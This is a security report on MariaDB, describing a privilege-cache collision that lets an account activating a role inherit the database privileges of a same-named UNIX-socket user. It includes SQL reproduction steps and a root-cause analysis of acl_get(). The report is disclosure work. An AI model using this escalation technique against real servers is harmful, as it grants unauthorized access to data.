MariaDB · Report #3889667
ACL cache collision lets a role inherit privileges from a same-named socket user
How it was found
Summary
MariaDB's database privilege cache key does not distinguish a role lookup from a UNIX-socket user with the same name. A socket connection can warm the cache with the user account's database privileges. A different account that activates the same-named role then receives the cached user privileges even though those privileges were never granted to the role
Preconditions
- A role and a UNIX-socket-accessible user have the same name.
- The user has database privileges that the role does not.
- Another account has permission to activate the role.
- The socket user warms the relevant database privilege-cache entry first.
Reproduction
As an administrator:
CREATE DATABASE vhrole;
CREATE TABLE vhrole.secret(marker VARCHAR(40));
INSERT INTO vhrole.secret VALUES ('role-cache-collision-row');
CREATE ROLE vhcollision;
CREATE USER 'vhcollision'@'localhost'
IDENTIFIED BY 'collision-user-only';
CREATE USER 'vhholder'@'127.0.0.1'
IDENTIFIED BY 'holder-test-only';
GRANT SELECT ON vhrole.* TO 'vhcollision'@'localhost';
GRANT vhcollision TO 'vhholder'@'127.0.0.1';
FLUSH PRIVILEGES;
Warm the cache using the same-named user over the UNIX socket:
SELECT marker FROM vhrole.secret;
Connect as [email protected]:
SET ROLE vhcollision;
SELECT CURRENT_ROLE;
SELECT marker FROM vhrole.secret;
Observed result
vhcollision
role-cache-collision-row
The role holder read the row even though SELECT was granted only to
'vhcollision'@'localhost', not to role vhcollision.
Expected result
The final SELECT should return an access-denied error because the active role has no
privilege on vhrole.
Root cause
acl_get() constructs a cache key from (ip, user, db) but caches a result derived
from (host, ip, user, db). A UNIX-socket user has an empty IP, while role lookups use
synthetic empty host and IP values. Same-named principals therefore generate the same
key despite requiring different ACL resolution.
Impact
A low-privilege role holder can inherit database-level privileges assigned to a different principal. Depending on the colliding account's grants, this can disclose or modify data outside the role holder's authorization.